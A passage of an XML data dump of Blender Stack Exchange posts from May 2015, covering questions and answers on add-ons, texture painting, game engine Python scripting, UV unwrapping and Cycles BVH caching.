LastActivityDate="2015-06-04T06:22:13.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31292" PostTypeId="1" AcceptedAnswerId="31299" CreationDate="2015-05-22T11:07:35.597" Score="7" ViewCount="10770" Body="&lt;p&gt;Following an online tutorial that uses an object named &quot;icosahedron&quot; from Add &gt; Mesh &gt; Regular Solids &gt; Archimedean &gt; Icosahedron. This object is not available in my version of Blender (2.74). Presenter asks me to include an add-on named &quot;Add Mesh: Regular Solids&quot;, which again is not listed in my User Preferences dialog. What can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="14271" LastActivityDate="2020-07-06T07:45:19.987" Title="Where is &quot;Regular Solids&quot; option?" Tags="&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31293" PostTypeId="1" CreationDate="2015-05-22T12:33:20.903" Score="10" ViewCount="1253" Body="&lt;p&gt;I know that latest blender will have more features and better perfomance, etc., but is there a big difference between 2.5, 2.6 &amp;amp; 2.7 that will cause trouble for me as a beginner?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="3710" LastEditDate="2015-05-22T13:17:57.813" LastActivityDate="2015-05-24T18:59:07.007" Title="Are the books written for blender 2.5 or 2.6 still useful for the latest blender 2.7 version?" Tags="&lt;versions&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31294" PostTypeId="1" CreationDate="2015-05-22T12:44:56.750" Score="3" ViewCount="291" Body="&lt;p&gt;I was able to adjust the NDOF settings to get my 3d mouse to work for navigation and I was also able to map the buttons for views, menu, and fit. The problem now is the remaining buttons that show no connectivity. Four of which I think should be working automatically (&lt;kbd&gt;Esc&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;),  but since Blender disables the use of settings from 3dConnection Preferences this leaves the coding in blender to handle these functions. Anyone have any ideas on how to?&lt;/p&gt;&#xA;" OwnerUserId="14536" LastEditorUserId="42362" LastEditDate="2017-07-12T15:25:41.630" LastActivityDate="2017-07-12T15:25:41.630" Title="Button Support for 3dConnexion SpaceMouse Pro" Tags="&lt;customization&gt;&lt;shortcut&gt;&lt;3d-mouse&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31295" PostTypeId="2" ParentId="31293" CreationDate="2015-05-22T12:47:16.967" Score="1" Body="&lt;p&gt;Yes they are. Big differences from 2.4 version, but from 2.5 things are only get better, more functions, more stability, improvements; but the basis are the same.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-22T12:47:16.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31297" PostTypeId="2" ParentId="31293" CreationDate="2015-05-22T13:56:21.080" Score="11" Body="&lt;p&gt;Whether or not you can use information for a old version depends on what you are comparing: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cycles came out in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.61&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.61&lt;/a&gt;, so anything prior will be for the blender internal.&lt;/li&gt;&#xA;&lt;li&gt;The Python API has &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/change_log.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;changed&lt;/a&gt; a fair bit since 2.5. So scripts, addons and python tutorials will most likely be incompatible. &lt;/li&gt;&#xA;&lt;li&gt;Many of the buttons may have sightly different places: example in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.70&lt;/a&gt; tabs for the toolbar came out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general anything written for 2.5 and up is still (more or less) relevant and use full now.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get stuck, or something is not where it was then, ask a new question &lt;a href=&quot;https://blender.stackexchange.com/questions/ask&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-05-24T18:59:07.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31298" PostTypeId="1" AcceptedAnswerId="31308" CreationDate="2015-05-22T14:19:11.643" Score="5" ViewCount="1780" Body="&lt;p&gt;Is there any way to hide the stencil overlay in the texture paint mode of blender?&lt;br&gt;&#xA;It kind of gets irritating when trying to view whats been painted on the view?&lt;br&gt;&#xA;Of course I can do it from the tool panel, but are there any shortcuts?&lt;/p&gt;&#xA;" OwnerUserId="14537" LastEditorUserId="2217" LastEditDate="2015-05-22T14:25:12.680" LastActivityDate="2015-05-23T11:05:18.420" Title="How to hide Stencil in Texture Paint Mode" Tags="&lt;interface&gt;&lt;shortcut&gt;&lt;texture-painting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31299" PostTypeId="2" ParentId="31292" CreationDate="2015-05-22T14:23:45.603" Score="12" Body="&lt;p&gt;The plugin you need is called now &lt;strong&gt;add_mesh_extra_objects&lt;/strong&gt;.&#xA;To enable it press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to open the preferences window.&#xA;On the Addons tab type extra and and check the box for Add Mesh:Extra Objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crlGe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are new options on the add mesh menu. Select Math Function Solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ydghB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the tools tab (&lt;kbd&gt;T&lt;/kbd&gt;) select Icosahedron&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/msGEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively press &lt;kbd&gt;F6&lt;/kbd&gt; to access the option for the tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wnJbk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-22T14:23:45.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31300" PostTypeId="1" CreationDate="2015-05-22T14:28:25.557" Score="10" ViewCount="721" Body="&lt;p&gt;I am trying to texture paint a mesh using a pretty high resolution stencil image..&#xA;But when i try to zoom into the image to paint the details...it appears very low res...&#xA;Is there any way to make it apppear highres in the viewport??&lt;/p&gt;&#xA;" OwnerUserId="14537" LastActivityDate="2017-01-17T16:26:46.443" Title="Stencil Image low resolution" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31301" PostTypeId="1" AcceptedAnswerId="31302" CreationDate="2015-05-22T15:58:46.143" Score="2" ViewCount="627" Body="&lt;p&gt;I want to make a character, which would move, and I want to use character physics and python for easyer controll. I know you get the character wrapper with &lt;code&gt;wraper = bge.constraints.getCharacter(own)&lt;/code&gt; Then I want to make it move, but I can't figure out how &lt;code&gt;walkDirection&lt;/code&gt; works. I did it like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;wraper = bge.constraints.getCharacter(own)&#xA;direction = (0, 1, 0)&#xA;wraper.walkDirection(direction)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But whnever I press the key and run the code I get an error: &lt;code&gt;'Vector' object not callable&lt;/code&gt;&#xA;I can't find any examples of how that's done on the intrnet, and I tryed changing the code many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, can someone tell me how it's done?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14483" LastEditorUserId="5113" LastEditDate="2015-05-22T16:22:40.093" LastActivityDate="2015-05-22T18:29:50.633" Title="How to use KX_CharacterWrapper.walkDirection" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31302" PostTypeId="2" ParentId="31301" CreationDate="2015-05-22T16:21:19.227" Score="2" Body="&lt;p&gt;The &lt;code&gt;wraper.walkDirection&lt;/code&gt; is a property of type &lt;code&gt;Vector&lt;/code&gt; and not a function so you should do an assignment :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wraper.walkDirection = direction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to move in the local space orientation multiply the direction vector by the orientation matrix of the object :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;direction = own.orientation*Vector((0, 0.1, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should include the Vector type by adding this line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-22T18:29:50.633" LastActivityDate="2015-05-22T18:29:50.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31303" PostTypeId="1" CreationDate="2015-05-22T17:12:28.190" Score="5" ViewCount="700" Body="&lt;p&gt;I need to create a set of bevel gears for a Shay locomotive in a Sketchup project I am working on, and I was wondering if there is a Blender tutorial for this? Thanks in advance for any help you may give.&lt;/p&gt;&#xA;" OwnerUserId="14540" LastActivityDate="2016-07-09T22:09:36.817" Title="Bevel Gear Creation" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31304" PostTypeId="1" CreationDate="2015-05-22T17:27:51.067" Score="2" ViewCount="107" Body="&lt;p&gt;I recently started working in Blender through the latest Fedora distribution of Linux and completed my first project. When I went to render my animation and select the file format for the video, the only three Video file formats listed were AVI Raw, AVI Jpeg, and Frame Server. I want to render my animation as an MPEG, but am not currently able to. Please help.&lt;/p&gt;&#xA;" OwnerUserId="14541" LastActivityDate="2015-05-22T17:27:51.067" Title="Why does my version of Blender not include MPEG as an output format for animations?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-06-10T15:47:20.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="31305" PostTypeId="2" ParentId="31285" CreationDate="2015-05-22T17:43:39.007" Score="0" Body="&lt;p&gt;Using bevel along the side isn't quite the cleanest solution though it works when the sharp edges at the bottom and the top won't be modified afterwards.&#xA;I am probably going to use subsurf and crease all sharp edges to a maximum.&#xA;Thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="14528" LastActivityDate="2015-05-22T17:43:39.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31306" PostTypeId="1" CreationDate="2015-05-22T18:29:24.307" Score="2" ViewCount="133" Body="&lt;p&gt;I am trying to render a scene and when I render it, my background doesn't show up. It should be a sky that is blue, but it shows up black still while the hills and other features render fine. Does anyone know a reason this happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastEditorDisplayName="user1853" LastEditDate="2015-05-22T19:21:23.677" LastActivityDate="2015-05-22T19:21:23.677" Title="sky background not rendering with scene" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31308" PostTypeId="2" ParentId="31298" CreationDate="2015-05-22T18:49:29.817" Score="4" Body="&lt;p&gt;As far as I know, you can't make the stencil disappear using any shortcuts. What you can do is grab it (hold &lt;kbd&gt;RMB&lt;/kbd&gt; and drag the mouse from left to right), then place it on a right/left side of a screen. You may see only a small fragment of it. Then you can grab it again and place back on the previous position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tjTmg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-23T11:05:18.420" LastActivityDate="2015-05-23T11:05:18.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31309" PostTypeId="2" ParentId="31303" CreationDate="2015-05-22T19:33:45.967" Score="7" Body="&lt;p&gt;The plugin you need is called now &lt;strong&gt;add_mesh_extra_objects&lt;/strong&gt;.&#xA;To enable it press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;. That will open the preferences window.&#xA;On the Addons tab type extra and and check the box for Add Mesh:Extra Objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crlGe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have new options on the add mesh menu. Select Add_Mesh_Gears_gear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKn2J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the tool bar (&lt;kbd&gt;T&lt;/kbd&gt;) You have a lot of options to create the gear you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NpGz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-22T19:33:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31311" PostTypeId="1" CreationDate="2015-05-22T20:31:38.390" Score="2" ViewCount="222" Body="&lt;p&gt;I run in to problem with nla editor, I cant play two tracks simultaneously if they start and end at same time, the track on top is only which is played, if I move only one to side I get transition from one to another but not both played simultaneously ? Any suggestion tnx&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2015-05-22T20:31:38.390" Title="Play two nlatracks simultaneously" Tags="&lt;nla-editor&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31312" PostTypeId="1" AcceptedAnswerId="31327" CreationDate="2015-05-22T20:36:15.007" Score="6" ViewCount="3190" Body="&lt;p&gt;I have a different render in all eight render buffer slots. In the UV/Image Editor there is an option to “Save All Images” but when I select it, nothing happens. How do I configure the save path and save all the images that are in all the slots in one operation? If &quot;Save All Images&quot; is not for the render buffer slots then what is it for and is it possible to do what I want to do? I am trying to discover if there is something quicker than selecting each slot and saving out the individual image.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2020-09-26T09:38:42.363" Title="Is it possible to save all rendered images (in the render buffer slots) in one operation?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31313" PostTypeId="2" ParentId="31256" CreationDate="2015-05-22T21:21:43.290" Score="5" Body="&lt;p&gt;This is the basic idea : we keep the occluding OFF but switch it ON only when selecting with mouse click, and for this you create your own operator for selection and replace the shortcuts to point to this new operator.( or simply override the old operator )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that does that run it then set the shortcuts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import BoolProperty, IntVectorProperty&#xA;&#xA;class SelectionOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot; Costum selection&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.select_costum&quot; #to override the old selection replace this with &quot;view3d.select&quot;&#xA;    bl_label = &quot;costum selection&quot;&#xA;&#xA;    extend = BoolProperty(default = False)&#xA;    deselect = BoolProperty(default = False)&#xA;    toggle = BoolProperty(default = False)&#xA;    center = BoolProperty(default = False)&#xA;    enumerate = BoolProperty(default = False)&#xA;    object = BoolProperty(default = False)&#xA;    location = IntVectorProperty(default = (0,0),subtype ='XYZ', size = 2)&#xA;&#xA;    def execute(self, context):&#xA;        context.space_data.use_occlude_geometry = True&#xA;        bpy.ops.view3d.select(extend=self.extend, deselect=self.deselect, toggle=self.toggle, center=self.center, enumerate=self.enumerate, object=self.object, location=(self.location[0] , self.location[1] ))&#xA;        context.space_data.use_occlude_geometry = False    &#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.space_data.type == 'VIEW_3D':&#xA;            self.location[0] = event.mouse_region_x&#xA;            self.location[1]  = event.mouse_region_y&#xA;            return self.execute(context)&#xA;        else:&#xA;                self.report({'WARNING'}, &quot;Active space must be a View3d&quot;)&#xA;                return {'CANCELLED'}&#xA;&#xA;bpy.utils.register_class(SelectionOperator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you didn't override the old selection you have to change the shortcuts :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;in &lt;strong&gt;Input&lt;/strong&gt;➝3D view➝3D view Global➝Activate/Select&lt;/li&gt;&#xA;&lt;li&gt;change the operator to &lt;strong&gt;&lt;em&gt;view3d.select_costum&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;repeat for all the &lt;strong&gt;&lt;em&gt;Activate/Select&lt;/em&gt;&lt;/strong&gt; entries below this one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zOJGa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-22T23:13:07.960" LastActivityDate="2015-05-22T23:13:07.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31314" PostTypeId="1" AcceptedAnswerId="38495" CreationDate="2015-05-22T21:43:50.287" Score="9" ViewCount="580" Body="&lt;p&gt;I can't seem to make the molecular particles immediately settle when they fall through a solidified cylinder to the bottom and remain still. Instead, they jitter, shake, bounce off each other, then slowly... rise... almost like dough. (&lt;a href=&quot;https://www.youtube.com/watch?v=eyf4aDn08UY&quot;&gt;See the video&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get some realistic dirt or ground till to interact with. Any help would be greatly appreciated.Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to a simple Blender test file I made to showcase the issue: &lt;a href=&quot;https://www.dropbox.com/s/g6izodwdh389ggd/molecular_test.blend?dl=0&quot;&gt;download .blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14519" LastEditorUserId="3710" LastEditDate="2015-05-27T17:12:09.667" LastActivityDate="2015-09-13T22:44:16.243" Title="Can't get particles via molecular addon (v1.0.2) to behave naturally (e.g. dirt or sand)" Tags="&lt;particles&gt;&lt;physics&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31315" PostTypeId="1" AcceptedAnswerId="31326" CreationDate="2015-05-22T22:29:27.017" Score="8" ViewCount="3050" Body="&lt;p&gt;What are the advantages of turning on &lt;em&gt;cache BVH&lt;/em&gt; for a cycles render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to elaborate. I'm not necessarily looking for a technical description, just a better idea for when to use it, and when it's not worth the disk space.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="2217" LastEditDate="2016-07-29T14:34:32.310" LastActivityDate="2016-07-29T14:34:32.310" Title="What are the advantages of turning on &quot;cache BVH&quot;?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;performance&gt;&lt;cache&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31316" PostTypeId="1" AcceptedAnswerId="31318" CreationDate="2015-05-22T23:15:09.183" Score="3" ViewCount="824" Body="&lt;p&gt;I have an extruded circle with a seam:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dE3zY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I unwrap, the seem is not split. How can I force blender to split the UV map along the seam?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-05-22T23:33:47.583" Title="Force uv unwrap to obey seam" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31317" PostTypeId="1" AcceptedAnswerId="31319" CreationDate="2015-05-22T23:27:09.607" Score="8" ViewCount="319" Body="&lt;p&gt;Would it be possible to wring the tube of a torus around the circumference of its major radius, like this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gs7F6.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was done by shifting the texture coordinates by using a Texture mapping node. However, the object I have in mind would be low poly and flat shaded, i.e. the location of the edges would be visible, so texture shifting would make the texture slide over the torus rather than giving the appearance of the tube being wrung.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-05-22T23:59:48.040" LastActivityDate="2015-05-23T00:00:04.153" Title="Wringing a torus around the circumference of its major radius" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31318" PostTypeId="2" ParentId="31316" CreationDate="2015-05-22T23:33:47.583" Score="3" Body="&lt;p&gt;Use follow active quads.&#xA;Select the faces next to the seam. then select all and unwrap using folow active quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPhhI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-22T23:33:47.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31319" PostTypeId="2" ParentId="31317" CreationDate="2015-05-22T23:43:46.563" Score="7" Body="&lt;p&gt;you can use a cylinder with array and curve modifier :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtW3I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apply the array modifier and Unwrap the cylinder then you can get the result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Zc4q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-23T00:00:04.153" LastActivityDate="2015-05-23T00:00:04.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31320" PostTypeId="1" CreationDate="2015-05-23T00:48:23.343" Score="4" ViewCount="1815" Body="&lt;p&gt;I build a Robot working on Gears, Chains and Pistons and I'm trying to rig it with IK for the legs and Arms but I'm stuck.&lt;br&gt;&#xA;the arm/Leg is supposed to work as such:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first part(shoulders) need to rotate around itself only  &lt;/li&gt;&#xA;&lt;li&gt;Second part (ArmTop) need to rotate at Z pose only  &lt;/li&gt;&#xA;&lt;li&gt;third part (ArmBTM) need to rotate around himself only  &lt;/li&gt;&#xA;&lt;li&gt;forth and fifth part (Arm and forearm) is the IK  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the 1,2,3 parts need to follow the IK So if The Arm wave Hello for example :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first part will rotate a bit  &lt;/li&gt;&#xA;&lt;li&gt;second will rotate up   &lt;/li&gt;&#xA;&lt;li&gt;third will rotate as the arm   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;if it was in FK it was (1=Y19.5 / 2=Z-119 / 3=Y-70 / 4=X-25 / 5=X-12)(the last picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to add a file so if you want the Robot file for you to try on it explain how to upload file on here and i will add it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3Uhm.png&quot; alt=&quot;FrontView&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DnxTE.png&quot; alt=&quot;SideView&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uam0P.png&quot; alt=&quot;WithoutExtras&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PzaJB.png&quot; alt=&quot;SayHay&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there is anything you can help&lt;br&gt;&#xA;Thanks A head&lt;br&gt;&#xA;Omer&lt;/p&gt;&#xA;" OwnerUserId="14548" LastEditorUserId="5113" LastEditDate="2015-05-23T00:59:38.133" LastActivityDate="2015-05-23T04:45:09.153" Title="Advanced Rigging For Robot Arms/ legs IK" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31322" PostTypeId="2" ParentId="31274" CreationDate="2015-05-23T01:46:53.330" Score="2" Body="&lt;p&gt;to keep the Tie moving in front of the player you can add some random motion on the Y axis with a constraint to keep it in the view, and to keep the Tie moving in front of the object on the X-axis you add some motion on the x axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/brasQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to make a bullet be fired at a position without traking an object you can add another object that will track the hitBox and fire the bullets, when the box move the bullets will not track it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rMydh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/240/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=240&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-05-23T02:09:20.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31324" PostTypeId="2" ParentId="31315" CreationDate="2015-05-23T02:34:22.210" Score="1" Body="&lt;p&gt;Turn it on when you want faster test renders. Especially if you are making mostly lighting or material changes. The problem arises when you are rendering a large animation.  I always think of cache (in a general sense) as more of a memory thing, and less of a disk space thing.  Well, blender is caching it to disk.  And it's huge, and if you leave it on during an animation you will run out of disk space. Quickly.&lt;/p&gt;&#xA;" OwnerUserId="14553" LastActivityDate="2015-05-23T02:34:22.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31325" PostTypeId="2" ParentId="31217" CreationDate="2015-05-23T02:49:03.390" Score="0" Body="&lt;p&gt;You would hit e s to extrude and then scale it using your current pivot point, which in your screenshot is correct as median point.&lt;/p&gt;&#xA;" OwnerUserId="14553" LastActivityDate="2015-05-23T02:49:03.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31326" PostTypeId="2" ParentId="31315" CreationDate="2015-05-23T03:35:05.110" Score="11" Body="&lt;p&gt;From the 2.62 release notes -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For renders where only the camera or materials are changing, while meshes stay fixed, it is now possible to skip the sometimes slow BVH step, by enabling BVH Cache in the Performance panel. This will store the BVH on disk for subsequent (animation) renders of the same scene. Note that if the scene does change in the animation, enabling this option will make rendering somewhat slower.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Times when it will help -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Test rendering one frame while you adjust materials.&lt;/li&gt;&#xA;&lt;li&gt;A camera flying through a static scene&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Times when it will &lt;strong&gt;not&lt;/strong&gt; help -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any mesh changes during an animation (shapekeys or armature)&lt;/li&gt;&#xA;&lt;li&gt;Any object movement during an animation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-23T03:35:05.110" CommentCount="0" ContentLicense="CC 